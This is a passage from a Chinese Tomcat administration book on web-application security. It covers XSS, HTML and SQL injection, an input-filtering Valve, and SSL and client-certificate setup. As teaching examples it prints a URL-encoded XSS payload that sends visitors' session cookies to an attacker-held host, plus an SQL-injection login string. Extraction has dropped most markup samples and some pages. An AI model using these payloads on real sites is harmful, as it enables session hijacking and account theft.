的所有权与权限。可以通过给予 Tomcat chroot用户更多的文件权限来解决这个 问题。同时,如果 Tomcat一直都无法激活,它可能会让JVM的进程处于闲置状态, 因此在试图重新激活 Tomcat 前,要特别留意。 如果Tomcat正常地服务请求且没有日志文件的例外记录,则说明已经完成了 chroot的 设定!除了重新映射文件系统的根目录之外,Tomcat和在非chroot的环境中一样正常 地执行 —— 甚至不会意识到是在 chroot 监牢中执行。 过滤恶意的用户输入 无论使用Tomcat的目是什么,如果未受信的用户能将请求送至 Tomcat服务器,该服务 器就有可能受到恶意用户的攻击。虽然 Tomcat的开发者已经竭尽全力使Tomcat具有足 够的安全防护,但最终, Tomcat 的安装与配置还是由 Tomcat 的系统管理员来完成的, 而由Web应用程序开发者开发在Tomcat中运作执行的应用程序。尽管 Tomcat已经很安 全了,你仍然容易写出不安全的 Web应用程序。不过,仅仅是写出能完成所需操作的应 用程序就已经很不简单了。因此, 了解恶意用户不当使用Web应用程序代码的各种方式 (以及如何防止不当使用发生),可能并不是 Web 开发者的首要目标。 不幸地,如果没有特意将 Web 应用程序编写成具备安全防护的能力,Tomcat 也可能不 会安全。因为已知有少数针对Web应用程序安全防护能力的不当使用可以危害网站的安 全性,因此所有管理 Tomcat的人员都不应该假设Tomcat已经处理了关于安全防护的所 有问题!通过配制Tomcat来使用安全防护管理器可以增强这些Web应用程序的安全防 146 第六章158 护能力,而将 Tomcat 安装在 chroot 监牢中,则可设定难以突破的操作系统核心层级 的限制。不过,即使这样做也无法修正所有的弱点。根据所执行的应用程序的功能不同, 某些不当使用仍然会有效。 如果你管理的Tomcat 执行来自客户或其他团体的未受信Web应用程序,或者所执行的 Web应用程序不是你自己编写的,而且也没有程序代码,无论这些程序是否安全,恐怕 也不能更改它们。你可以选择不在服务器上服务它们,但通常无法将应用程序代码改成 有安全防护能力的。更严重的是,如果在单一执行的 Tomcat 实例上服务多个 Web应用 程序,而其中之一有安全漏洞,则该应用程序可能会让所有的 Web 应用程序都不安全。 身为系统管理员,你应该尽可能过滤恶意的用户输入,以避免它进入有漏洞的 Web应用 程序,而且也应该事先了解可能会影响服务器的已知安全漏洞。 本节会详细说明一些众所周知的Web应用程序安全漏洞,以及一些建议的补救措施,然 后叙述可以安装并用来保护 Tomcat 的过滤程序。 弱点 下面我们来看一些不当使用Web应用程序安全防护机制的细节。这些不当使用都来自远 程用户,恶意的远程用户通过将精心设计的请求数据传送给 Tomcat,来企图绕过 Web 应用程序的安全防护机制。不过,如果能够过滤掉这些恶意的数据,就能使该攻击失效。 Cross-site scripting 此类对Web应用程序安全防护机制的不当使用,是最广为人知的一种。简而言之,cross- site scripting(XSS)(注 1)的行为包括编写恶意的网页浏览器脚本程序代码,以及骗 取其他用户的网页浏览器来执行它。整个过程都是在利用第三方的 Web服务器(例如你 的 Tomcat)。当 Web应用程序回送用户提供的请求数据前没有对其进行过滤时,就有可 能发生XSS 攻击。当用户以支持脚本语言(例如 JavaScript或 VBScript)的网页浏览器 访问 Web 应用程序时,XSS 也是最常见到的。通常, XSS 攻击会试图盗取用户进程的 cookie值,成功后攻击者便会以拥有该 cookie的用户身份登录网站,并取得被攻击者在 该网站上的身份及全部功能。因此,一般也将此称为 HTTP 会话劫掠( session hijacking)。 147 注 1: 有些人会将它缩写成CSS 因为“ cross”是以字母C 开头。不过,就像多数三字母缩写词 (Three Letter Acronym,TLA)一样,这种组合早就有更常见的意义: Cascading Style Sheet。因此,为避免在这两个不同的Web概念间产生混淆,我们在此用XSS来代表cross- site scripting。 159Tomcat 的安全防护 下面的例子说明了如何用 XSS 来劫掠用户进程。在 Tomcat 上执行的网站(此例中为 www.example.com)被设置成允许用户浏览网站并阅读讨论区。该网站要求用户在讨论 区上发布消息消息前先要登录,不过它提供了免费的注册账号。在登录后,用户便可以 在讨论区中发布消息,并做其他的事,如网上购物等。恶意的攻击者发现该网站支持搜 寻功能,会回送用户的查询字符串,而且对用户在查询字符串中输入的任何特殊字符没 有进行过滤或者换码( escape)。即,如果用户搜寻“ foo”,攻击者便会得到一份包含所 有提及“ foo”的网页的清单。不过,如果找不到任何有关“ foo”的内容,服务器便会 响应类似“ Could not find any documents including 'foo'”的消息。 然后,攻击者将试着搜寻这样的字符串: foo 而网站则响应: Could not find any documents including 'foo'. 请注意,搜寻结果的消息会将在查询字符串中输入的粗体字标记解释成 HTML,而非纯 文字!接着,用户将会尝试下面的查询字符串: 如果服务器将此字符串逐字地回送给网页浏览器,网页浏览器会将查询字符串的内容当 成一般的HTML,其中含有用于开启警告对话窗口的嵌入式脚本。此窗口会显示所有应 用于此网页的HTTP cookie(及其值)。如果网站这样做,而且用户也有进程的 cookie, 攻击者便可以获取下列信息: ¥ Web 应用程序可用于 XSS 攻击,因为至少在此网页上,它并未适当地过滤用户输 入。 ¥ 可以利用此网站转发在其他网页浏览器上执行的小型 JavaScript 程序。 ¥ 可以利用此网站取得其他用户登录进程的 cookie,并以该 cookie 值做别的事情。 然后,攻击者编写非常简短的 JavaScript 程序来取得进程的 cookie,并将它发送到攻击 者的机器来检查。例如,如果攻击者侵入了在 www.groovywings.com上的账号,并想检 查受害者在该机器上的cookie,则可以编写JavaScript程序将受害者进程的cookie值送 至该账号,如下所示: 148 第六章160 开始执行后,此脚本会让启用 JavaScript 的网页浏览器将进程的 cookie 值发送至 www.groovywigs.com。 为了执行这个脚本,攻击者必须找出将搜索参数发送至存在漏洞的网站的搜索引擎的方 式。最有可能的就是使用简单的请求参数,相关的 URL 如下所示: http://www.example.com/search?query=foo 通过使用这个示例,恶意的用户建立了包含其脚本并将受害者的浏览器发送至攻击者可 以检查受害者进程 cookie 的位置的 URL: http://www.example.com/search?query= 然后,恶意的用户使用 URL 编码机制伪装出相同的 URL 内容: http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument. location%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document. cookie%3C%2Fscript%3E 这个URL 与前一个URL的作用相同,只是更难于阅读。凭借对 URL中其他内容的进一 步编码,如“ javascript”和“ document.cookie”字符串,攻击者可以使该 URL成为 更难辨识的 XSS 攻击的 URL。 接下来,攻击者会想办法让这个带有 XSS 攻击的 URL 连接到一个或者多个网站用户的 网页浏览器。通常,攻击者可以连接的用户越多,其可以攻击的受害者也就越多。因此, 以邮件列表的Email方式发送或张贴至网站上的讨论区会让许多受害者看到—而有些人 则会点选它。攻击者会以假的个人资料(用假的 Email 账号来送出确认回函)在 www.example.com网站上建立假的用户账号。当以这个新的假用户账号登录网站后,攻 击者会在讨论区上张贴含有此连接的消息。然后,攻击者将其自身的账号注销并等候, 同时监视www.groovywigs.com Web服务器的访问日志。当登录 www.example.com的用 户点选此连接时,其进程的 cookie 值会出现在 www.groovywigs.com的访问日志中。当 攻击者取得此 cookie 值后,不需登录网站就可以利用此值来访问受害者的账号。 注意: 用户让其网页浏览器使用此cookie值的方式会依不同品牌的网页浏览器而异,甚至同一品 牌但不同版本的浏览器在使用时也可能会有差异。但是,总是有方法来使用它。 此处最坏的状况是,网站储存了如信用卡卡号(用于网站的网上购物)的机密信息,但 由于XSS攻击而被盗取。攻击者可以偷偷地记录信用卡信息,而不让网站上的用户知道, 并且 www.example.com 的系统管理员也永远不会知道他已成为泄漏信息的来源。 149 161Tomcat 的安全防护 许多知名网站都在防范XSS攻击上存在缺陷。当然,实际的攻击可能并不像前面的示例 那么简单,但是,只要在 Web应用程序中有将未过滤的输入回送给用户的缺陷,就可以 设计出XSS攻击的方式。在某些网站上,攻击者甚至不需具有合法的用户账号,就可以 进行XSS 攻击。含有容易受到 XSS攻击的Web 应用程序的Web服务器可以用各种程序 语言编写(包括 Java),并在任何操作系统上执行。这是一种一般且普遍的网页浏览器 脚本问题,而此服务器端的问题主要来自于并未确认及过滤恶意的用户输入。 身为 Tomcat 的系统管理员,该如何协助修正这类问题呢? ¥ 将Tomcat设定为使用本章稍后(过滤HTTP的请求)所述的BadInputFilterValve。 此 Valve的作用是在不修改或停用 Web 应用程序的条件下,从 GET 与POST 参数名 称及值中,转义( escape)某些字符串样式,从而阻断大多数的 XSS 攻击。 ¥ 在没有使用Tomcat的 Valve的状况下,重新编写应用程序,让它借着转义特殊字 符及过滤有漏洞的字符串样式,来确认用户输入。这与 BadInputFilterValve 的 作用十分类似。 ¥ 阅读在本章(参考文献)一节中提到的与 XSS 相关的网页,并理解这些攻击的运 作方式。过滤用户请求数据中的所有可能会让用户网页浏览器执行用户提供的脚本 的任何资料。这包括 GET 与 POST 参数(名称及值)、HTTP 请求的标题名称及其 值(包括 cookie),以及其他 URL 片段,如 URL 路径信息。 ¥ 参阅 Web上提到的解决 XSS攻击的其他方案,仔细考虑该方案是否会对你有所帮 助。这有助于你掌握最新的解决方案。 ¥ 只使用 HTTPS 和 CLIENT-CERT 验证,或执行那些不使用 HTTP cookie追踪进程 的方法。这样做一般便可以阻挡任何企图通过盗取进程的cookie值来劫掠用户进程 的 XSS 攻击行为。 同样地,并没有 100%过滤及捕捉XSS 攻击内容的方法,不过你一定可以阻挡大部分的 攻击。 HTML 注入( HTML injection) 这个漏洞也是由不当的用户输入验证与过滤造成的。HTML注入的行为是编写HTML程 序,并插入网站的网页中,而让网站的其他用户看到系统管理员及网站原作者不想发布 的内容。此程序并没有包括任何脚本程序代码,如 JavaScript或 VBScript —— 那是XSS 攻击所作的事。此漏洞与纯 HTML 有关。 注意:某些咨询性网页称这个为“ HTML 插入( HTML insertion)”。 150 第六章162 依照有漏洞的网站所提供功能的不同,以下收集了一些恶意用户利用 HTML 注入的例 子: ¥ 借着插入恶意的 HTML窗体(”特洛伊木马”式的 HTML注入攻击),来骗网站的 用户将其用户名称与密码发送到攻击者的服务器上。 ¥ 将远程管理的恶意网页内容全部引入有漏洞网站的网页中(例如,使用内页框)。这 使得网站的用户认为攻击者的网页也是网站的一部分,而在不知情的状况下泄露机 密资料。 ¥ 在网站拥有人不知情的状况下,于网站上发布非法或不要的资料。这包括损伤网站 的外貌,在网站上放置盗取的或非法资料的链接(甚至是非法资料本身) ,等等。 大多数在防范 HTML 注入攻击方面存在漏洞的网站,至少会让攻击者使用 HTTP GET 请求,并在有漏洞的网站上放置 HTTP客户端在单一URL可接收的最多资料,而不要求 攻击者登录受害的网站。如同 XSS 攻击一样,攻击者也可以用 Email 传送这些冗长的 URL,或将它们放在其他网页上让用户找到并使用。当然, URL愈长,用户就愈不会点 选它,除非他们看不到链接的 URL(例如,将冗长的 URL放在href的 HTML链接中)。 不言而喻,这种漏洞十分严重。令人惊讶的是,在 Web上竟然找不到多少只提到HTML 注入而不提到 XSS 的信息。这主要是因为 Web 应用程序中的大多数 HTML注入漏洞也 可用于 XSS攻击。不过,许多通过过滤像 填入 搜索字段,以便用 XSS 来显示进程的 cookie。 ¥ 将 填入搜索字段来示范 HTML 注入攻击。 ¥ 试着将 "> 填入用户名称的字段,然后填入 foo 并再传送一次。请注意,在第二次传送时, hidden3的值已改成SomethingElse。这是不完整的输入验证及参数处理的例子。 ¥ 输入 jasonb' OR ''=' 的用户名称,并注意它的确将 username 参数设成该字符 串,而它则可以利用 SQL 注入的漏洞(视数据库程序的编写方式而定) 。 针对Web应用程序中的所有输入字段,制作一份精确的字符清单,以记录应用程序需要 当成用户输入而接受的所有字符。只接受清单中的字符,而过滤掉其他字符,这种方法 似乎是最安全的。但是,如果应用程序会接受许多特殊字符,可能还是会开启一些漏洞。 为解决这些问题,你可以使用漏洞样式的搜索及取代过滤方法(例如,正规表示式的搜 索及取代),不过这通常只适用于预先知道的漏洞。所幸,我们有一些信息可用来通盘 过滤常见的安全漏洞。 158 第六章170 如果通盘过滤所有请求信息中,已知最常用来攻击网站的正规表示式的样式,则可以在 请求抵达程序代码之前加以修改,并阻挡这些攻击。在寻找恶意的请求数据时,应该禁 止请求或转义恶意的请求数据。这样,应用程序便不用重复过滤器的程序代码,而且只 需少量的管理及维护工作就可通盘地过滤。通过安装定制的 Tomcat Valve,你可完成 此种通盘过滤的功能。 Tomcat Valve可将程序代码插入Tomcat中,并让该程序代码在不同的请求及响应处理 阶段执行,而 Web应用程序的内容则在中间阶段执行(即,在处理请求之后,处理响应 之前)。Valve 不是Web 应用程序的一部分,而是可以当成 Tomcat servlet container的 一部分来执行的程序模块。Valve 的另一项优点是,Tomcat 的系统管理员可以设定 Valve 在所有部署的 Web 应用程序或特定的 Web 应用程序中执行 —— 无论所需的范 围为何。附录四中含有 BadInputFilterValve.java 的完整源代码。 警告: BadFilterValve 只会过滤参数名称及值。它不会过滤标题名称或值或其他可能会包含攻 击数据的项目(如路径信息)。过滤参数对大多数的攻击已足够了,不过并非对所有的攻击 都有效,因此务必要留意。 为了阻挡 XSS、HTML 注入、SQL 注入和命令注入的攻击,BadInputFilterValve 会 过滤各种恶意的输入样式及字符。表6-2显示了用在server.xml配置文件中的BadInput- FilterValve 的属性。 表 6-2:BadInputFilterValve 的属性 属性 意义 className 此 Valve 实现的 Java 类名;必须设为 com.oreilly.tomcat. valves.BadInputFilterValve debug 调试等级,0 表示不调试,而正数则表示不同程度的调试等级,数 字愈高,显示的调试信息就愈详细。默认值是 0 escapeQuotes 在执行请求前,决定此 Valve 是否要转义请求消息中的任何引号 (包括双及单引号)。默认值为 true escapeAngleBrackets 在执行请求前,决定此 Valve 是否要转义请求消息中的任何尖括 号。默认值为 true escapeJavaScript 决定此Valve是否要转义请求消息中任何对JavaScript函数与对象 的可能有危险的引用。默认值为 true allow 此 Valve 允许的正规表示式清单,以逗号分隔 deny 此 Valve 禁止的正规表示式清单,以逗号分隔 159 171Tomcat 的安全防护 如欲编译此Valve,首先需要设置CATALINA_HOME环境变量,然后再在$CATALINA_ HOME/server/classes 中建立类的目录,如下所示: # export CATALINA_HOME=/usr/local/jakarta-tomcat-4.1.24 # mkdir -p $CATALINA_HOME/server/classes/com/oreilly/tomcat/valves 接着,将文件复制到此目录中,并对其进行编译: # cd $CATALINA_HOME/server/classes # javac -classpath $CATALINA_HOME/server/lib/catalina.jar:$CATALINA_HOME/ common/lib/servlet.jar:$CATALINA_HOME/server/lib/jakarta-regexp-1.2.jar -d $CATALINA_HOME/server/classes com/oreilly/tomcat/valves/ BadInputFilterValve.java 在编译完该类后,将源代码从 Tomcat 的目录树中移除: # rm com/oreilly/tomcat/valves/BadInputFilterValve.java 然后,在 server.xml 中设定 Valve。编辑 $CATALINA_HOME/conf/server.xml 文件, 并在默认的 Context 中加入以下的声明: 然后,停止并重新激活 Tomcat: # /etc/rc.d/init.d/tomcat4 stop # /etc/rc.d/init.d/tomcat4 start 当激活和停止 Tomcat 时,在 catalina.out 的配置文件中看到下列错误消息是正常的: ServerLifecycleListener: createMBeans: MBeanException java.lang.Exception: ManagedBean is not found with BadInputFilterValve 你也可能会得到下面这样的错误: ServerLifecycleListener: destroyMBeans: Throwable javax.management.InstanceNotFoundException: MBeanServer cannot find MBean with ObjectName Catalina:type=Valve,sequence=5461717,path=/, host=localhost,service=Tomcat-Standalone 这只是表示不知道如何管理该新 Valve 的 JMX 管理程序,这是正常的。 在安装完 BadInputFilterValve后,你的 input_test.jsp网页就应该能阻挡所有的 XSS 注入、HTML注入、SQL 注入,以及命令注入的攻击了。如前面那样向该网页传送相同 的攻击参数内容。不过,这一次它会转义攻击的字符和字符串,而不是对其进行解释。 160 第六章172 参考文献 过滤恶意的用户所输入的一般信息 http://www.owasp.org/asac/input_validation http://www.cgisecurity.com Cross-site scripting(XSS) http://www.cert.org/advisories/CA-2000-02.html http://www.idefense.com/idpapers/XSS.pdf http://www.cgisecurity.com/articles/xss-faq.shtml http://www.ibm.com/developerworks/security/library/s-csscript/?dwzone=security http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0003.html http://www.owasp.org/asac/input_validation/css.shtml http://httpd.apache.org/info/css-security/ http://apache.slashdot.org/article.pl?sid=02/10/02/1454209&mode=thread&tid=128 HTML 注入 http://www.securityps.com/resources/webappsec_overview/img18.html SQL 注入 http://www.securiteam.com/securityreviews/5DP0N1P76E.html http://www.owasp.org/asac/input_validation/sql.shtml 命令注入 http://www.owasp.org/asac/input_validation/os.shtml 路径遍历( Path traversal) http://www.owasp.org/asac/input_validation/pt.shtml 元字符( Metacharacter) http://www.owasp.org/asac/input_validation/nulls.shtml http://www.owasp.org/asac/input_validation/meta.shtml 开源的 Web 应用程序安全防护工具 http://www.owasp.org 以 SSL 加强 Tomcat 的安全防护能力 在网站用户于互联网上发送出最重要的信用卡卡号之前,他们必须先信任你的网站。取 得信任的主要方式之一(除了有名望外)是使用服务器端的数字认证。此认证是以软件 为基础来开启对网络资料加密的过程,从而保证由台北的消费者发送给纽约的供货商的 161 173Tomcat 的安全防护 信用卡卡号,在传送途中不会被洛杉矶的黑客拦截 —— 无论是读取或篡改。加密是双 向的,因此记载信用卡卡号的收据也会以加密的方式回传给消费者。 全世界只有少数几家公司会派发服务器端数字认证;这些公司都是知名的“认证授权机 构”(Certificate Authority,CA)。这些公司会确认他们派发服务器端数字认证的对象 真的是其所宣称的身份,而非冒牌货。然后,这些公司会以其自己的认证来签署你的服 务器端认证。而他们的认证则又由其他的公司来签署,以此类推。这一连串的认证被称 为“认证链”。在认证链的尾端,有一个放在非常安全地方的主认证。这个认证链是依 据“信任链”的概念而设计出来的:为了让整个过程能顺利运作,中间的所有人员都必 须是值得信任的。此外,该技术还必须能区分真正认证的真正拥有人、真正认证的假拥 有人(盗用的身份)以及伪造认证的拥有人。如果认证是合法,但不能被信任链支持, 则会被当成自用的或自我签署的认证。自我签署的认证可用于加密,但却不适用于验证。 由于浏览器的各种警告,因此消费者一般都不会信任它们来进行电子商务的行为。 请注意,如果依照第五章(使用 mod_ jk2 连接器)一节所述的方式在 Apache httpd后端 使用 Tomcat,则不需要在 Tomcat 中启用 SSL。前端的 Web 服务器( Apache httpd)会 对输入的请求进行解密,而对响应进行加密,然后以明文的方式将它们转给在本机或内 部网络连接上的Tomcat。所有的servlet或 JSP都会将交易当成已加密的方式来运作,不 过实际加密的却只有 Apache httpd 与用户网页浏览器之间的通信。 那么服务器端认证是如何产生的呢?可以通过使用Java的 keytool程序(标准的 JDK 或 J2SE SDK 的一部分),或使用流行的 OpenSSL套件(来自 http://www.openssl.org的 免费套件)来产生。 OpenSSL可用于Apache httpd Web服务器、OpenSSH的安全shell, 以及其他流行的软件。以下是产生并签署认证的步骤: 1. 为 Tomcat 服务器建立私有的 RSA 密钥: # keytool -genkey -alias tomcat -keyalg RSA 2. 建立签署用的 CSR,并将其保存在 csr 文件中: # mkdir -p -m go= /etc/ssl/private # keytool -certreq -keyalg RSA -alias tomcat -file /etc/ssl/private/certreq.csr 注意:如果你要自行签署认证,则不需要以下的步骤。 3. 请 CA 签署认证,若有必要还应下载认证文件,然后导入结果: # keytool -import -keystore $JAVA_HOME/jre/lib/security/cacerts -alias CA_NAME -trustcacerts -file /etc/ssl/THEIR_CA_CERT_FILE # keytool -import -alias tomcat -trustcacerts -file /etc/ssl/YOUR_NEW_CERT_FILE 4. 如果要自行签署,则请签署认证: # keytool -selfcert -alias tomcat 162 第六章174 5. 请 CA 签署它,视需要下载他们的 CA 认证,然后导入结果: # keytool -import -keystore $JAVA_HOME/jre/lib/security/cacerts -alias 你可以将公用的认证与私有密钥文件放在任何位置,不过为了最佳的安全防护性,秘密 目录的内容应该禁止让未授权的用户访问。此外, 请勿将认证存入Tomcat的目录中(不 要放在$CATALINA_HOME及$CATALINA_BASE中),因为这样可能会给升级Tomcat造成 困难。 以下是用 keytool 建立自行签署的认证的过程: $ keytool -genkey -alias tomcat -keyalg RSA Enter keystore password: secrit What is your first and last name? [Unknown]: Ian Darwin What is the name of your organizational unit? [Unknown]: Covert Operations What is the name of your organization? [Unknown]: Darwin Open Systems What is the name of your City or Locality? [Unknown]: Palgrave What is the name of your State or Province? [Unknown]: Ontario What is the two-letter country code for this unit? [Unknown]: ca Is correct? [no]: yes Enter key password for (RETURN if same as keystore password): secrit # ls -l $HOME/.keystore -rw-r--r-- 1 ian wheel 1407 Jun 21 16:01 /home/ian/.keystore # keytool -selfcert -alias tomcat Enter keystore password: secrit # keytool -list Enter keystore password: secrit Keystore type: jks Keystore provider: SUN Your keystore contains 1 entry: tomcat, Fri Jun 21 20:38:36 EDT 2002, keyEntry, Certificate fingerprint (MD5): 6A:E5:A1:2C:5B:5E:A2:3B:67:17:6B:2F:18:BC:DC:1D 当然,在我们试着使用此认证时,浏览器会认为其名声不高,而丢出如图 6-4所示的警 告消息。 163 175Tomcat 的安全防护 图 6-4:警告信息 设定 Tomcat 的 SSL 连接器 在妥善保存认证后,还需要设定Tomcat来使用它,即执行SSL连接器。server.xml文件 中有一个已设定好的 SSL 连接器,不过默认状态下是被注释掉的。 如果所使用的 JDK 版本比 1.4 早,则必须下载 Java Secure Sockets Extension(JSSE) 的 JAR文件,并将其安装在 $JAVA_HOME/jre/lib/ext目录下。你可以从SUN 公司的网 页上(http://java.sun.com/products/jsse)下载该文件。当下载完 JSSE 后,必须正确设 定 JAVA_HOME,然后将压缩的 zip 文件解开,并复制 JSSE 的 JAR 文件: # jar xf jsse-1_0_3_01-do.zip # cp jsse1.0.3_01/lib/* $JAVA_HOME/jre/lib/ext 如果不想将JAR文件复制到JDK的 lib/ext目录中,你也可以将它们放到其他位置上,并 通过设定 JSSE_HOME 环境变量来指向该目录。 在 Tomcat 4.0 中,HTTPS 连接器的配置如下所示: 164 第六章176 而在 Tomcat 4.1 中,则会像这样: 无论何种版本,你只需移除包在 Connector元素外面的注释符号( ),并 重新激活 Tomcat。 如果密钥文件不在执行 Tomcat 的用户的主目录中,则需将 keystoreFile 属性加到 Factory元素中。如果密码不是 “changeit”(但应该是),则需加入keystorePass属性。 当设定好Tomcat并执行后,用你的网页浏览器访问 https://localhost:8443。浏览器一般 会提供服务器端认证让你认可。当认可此认证后, 你会看到一般的Tomcat索引网页,只 是这一次是如图 6-5 所示的安全网页。 多重服务器端认证 如果你是服务客户端的 ISP,一些客户端会想要有其自己的认证。这一般会涉及到虚拟 主机(如第七章所述)的内容。你只需将SSL Factory元素添加到客户端的Connector 元素中,并提供该客户端的密钥库( keystore)文件。 客户端认证 Tomcat 所支持的另一项绝佳的安全防护功能是,经由 X.509 的客户端认证进行 SSL 客 户端验证。即,通过设定用户的网页浏览器,自动对服务器提出 X.509 客户端认证,即 可安全地登录网站,而不需输入密码。 X.509客户端认证会惟一地识别用户,而 Tomcat 则会用其自己的CA资料来确认用户的客户端认证。这些 CA数据存储在JRE的 CA密钥 库文件中。当用户的第一个HTTPS请求通过身份确认后,Tomcat会建立该用户的servlet 进程。这种验证方法被称为 CLIENT-CERT。 165 177Tomcat 的安全防护 图 6-5:Tomcat 在安全的 socket 上的索引网页 在已经设定 SSL并让它顺利运作的前提下,本节会说明如何通过设定 Tomcat 及网页浏 览器来使用 CLIENT-CERT 验证机制。因此,必须先设定 SSL。 建立可以创建及存储认证文件的目录: # mkdir -p -m go= /etc/ssl/private # mkdir -p -m go= /etc/ssl/private/client 替你自己的 CA 建立新的密钥及请求: # openssl req -new -newkey rsa:512 -nodes -out /etc/ssl/private/ca.csr -keyout /etc/ssl/private/ca.key Using configuration from /usr/share/ssl/openssl.cnf Generating a 512 bit RSA private key ..++++++++++++ 166 第六章178 .++++++++++++ writing new private key to '/etc/ssl/private/ca.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:US State or Province Name (full name) [Some-State]:California Locality Name (eg, city) []:Dublin Organization Name (eg, company) [Internet Widgits Pty Ltd]:Jason's Certificate Authority Organizational Unit Name (eg, section) []:System Administration Common Name (eg, your name or your server's hostname) []:Jason's CA Email Address []:jason@brittainweb.org Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: 建立 CA 的自行签署及受信任的 X.509 数字认证: # openssl x509 -trustout -signkey /etc/ssl/private/ca.key -days 365 -req -in /etc/ssl/private/ca.csr -out /etc/ssl/ca.pem Signature ok subject=/C=US/ST=California/L=Dublin/O=Jason's Certificate Authority/ OU=System Administration/CN=Jason's CA/Email=jason@brittainweb.org Getting Private key 将 CA 的认证导入 JDK 的 CA 密钥库中: # keytool -import -keystore $JAVA_HOME/jre/lib/security/cacerts -file / etc/ssl/ca.pem -alias jasonsca Enter keystore password: changeit Owner: EmailAddress=jason@brittainweb.org, CN=Jason's CA, OU=System Administration, O=Jason's Certificate Authority, L=Dublin, ST=California, C=US Issuer: EmailAddress=jason@brittainweb.org, CN=Jason's CA, OU=System Administration, O=Jason's Certificate Authority, L=Dublin, ST=California, C=US Serial number: 0 Valid from: Thu Feb 06 00:46:01 PST 2003 until: Fri Feb 06 00:46:01 PST 2004 Certificate fingerprints: MD5: B1:EB:F5:B5:37:56:50:24:1F:07:37:FA:73:01:B9:9F SHA1: 01:B6:D5:BB:5A:5F:59:7D:BC:80:B7:ED:EC:5E:BD:37:C8:71:F8:DD Trust this certificate? [no]: yes Certificate was added to keystore 建立序号文件以供 CA 使用。在默认情况下, OpenSSL 的序号会以“ 02”开头: 167 179Tomcat 的安全防护 # echo "02" > /etc/ssl/private/ca.srl 替客户端认证建立密钥及认证请求: $ openssl req -new -newkey rsa:512 -nodes -out /etc/ssl/private/client/client1.req -keyout /etc/ssl/private/client/client1.key Using configuration from /usr/share/ssl/openssl.cnf Generating a 512 bit RSA private key .................++++++++++++ .........++++++++++++ writing new private key to '/etc/ssl/private/client/client1.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:US State or Province Name (full name) [Some-State]:California Locality Name (eg, city) []:Dublin Organization Name (eg, company) [Internet Widgits Pty Ltd]:O'Reilly Organizational Unit Name (eg, section) []:. Common Name (eg, your name or your server's hostname) []:jasonb Email Address []:jason@brittainweb.org Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: 请注意,在客户端身份的“ Common Name”字段中所输入的内容会被当成Tomcat中的 用户名。如欲使用用户名及角色, “Common Name”字段的值必须符合 Realm 的用户 数据库中的用户名(如在 $CATALINA_HOME/conf/tomcat-users.xml 中的 UserDatabaseRealm)。 请使用 CA 的认证与密钥建立及签署 X.509 客户端认证: # openssl x509 -CA /etc/ssl/ca.pem -CAkey /etc/ssl/private/ca.key -CAserial /etc/ssl/private/ca.srl -req -in /etc/ssl/private/client/ client1.req -out /etc/ssl/private/client/client1.pem Signature ok subject=/C=US/ST=California/L=Dublin/O=O'Reilly/CN=jasonb/ Email=jason@brittainweb.org Getting CA Private Key 从 X.509 客户端认证产生PKCS12 客户端认证。该 PKCS12认证经过格式调整的拷贝可 以导入客户端的网页浏览器中: 168 第六章180 # openssl pkcs12 -export -clcerts -in /etc/ssl/private/client/client1.pem -inkey /etc/ssl/private/client/client1.key -out /etc/ssl/private/client/client1.p12 -name "Jason's Client Certificate" Enter Export Password:clientpw Verifying password - Enter Export Password:clientpw 如果想查看目前存储的数据,可以如下列出密钥库的内容: # keytool -list Enter keystore password: password Keystore type: jks Keystore provider: SUN Your keystore contains 1 entry: tomcat, Fri Feb 07 06:07:25 PST 2003, keyEntry, Certificate fingerprint (MD5): B9:77:65:1C:3F:95:F1:DC:36:E3:F7:7C:B0:07:B2:8C 你也可以列出在 JRE 的 CA 密钥库中的 CA 内容: # keytool -list -keystore $JAVA_HOME/jre/lib/security/cacerts Enter keystore password: changeit Keystore type: jks Keystore provider: SUN Your keystore contains 11 entries: thawtepersonalfreemailca, Fri Feb 12 12:12:16 PST 1999, trustedCertEntry, Certificate fingerprint (MD5): 1E:74:C3:86:3C:0C:35:C5:3E:C2:7F:EF:3C:AA:3C:D9 thawtepersonalbasicca, Fri Feb 12 12:11:01 PST 1999, trustedCertEntry, Certificate fingerprint (MD5): E6:0B:D2:C9:CA:2D:88:DB:1A:71:0E:4B:78:EB:02:41 verisignclass3ca, Mon Jun 29 10:05:51 PDT 1998, trustedCertEntry, Certificate fingerprint (MD5): 78:2A:02:DF:DB:2E:14:D5:A7:5F:0A:DF:B6:8E:9C:5D thawteserverca, Fri Feb 12 12:14:33 PST 1999, trustedCertEntry, Certificate fingerprint (MD5): C5:70:C4:A2:ED:53:78:0C:C8:10:53:81:64:CB:D0:1D thawtepersonalpremiumca, Fri Feb 12 12:13:21 PST 1999, trustedCertEntry, Certificate fingerprint (MD5): 3A:B2:DE:22:9A:20:93:49:F9:ED:C8:D2:8A:E7:68:0D verisignclass4ca, Mon Jun 29 10:06:57 PDT 1998, trustedCertEntry, Certificate fingerprint (MD5): 1B:D1:AD:17:8B:7F:22:13:24:F5:26:E2:5D:4E:B9:10 verisignclass1ca, Mon Jun 29 10:06:17 PDT 1998, trustedCertEntry, Certificate fingerprint (MD5): 51:86:E8:1F:BC:B1:C3:71:B5:18:10:DB:5F:DC:F6:20 verisignserverca, Mon Jun 29 10:07:34 PDT 1998, trustedCertEntry, Certificate fingerprint (MD5): 74:7B:82:03:43:F0:00:9E:6B:B3:EC:47:BF:85:A5:93 169 181Tomcat 的安全防护 thawtepremiumserverca, Fri Feb 12 12:15:26 PST 1999, trustedCertEntry, Certificate fingerprint (MD5): 06:9F:69:79:16:66:90:02:1B:8C:8C:A2:C3:07:6F:3A jasonsca, Mon Feb 10 10:04:45 PST 2003, trustedCertEntry, Certificate fingerprint (MD5): 22:A9:36:5C:7F:2A:F1:12:6A:22:DD:1E:7A:0C:B5:6C verisignclass2ca, Mon Jun 29 10:06:39 PDT 1998, trustedCertEntry, Certificate fingerprint (MD5): 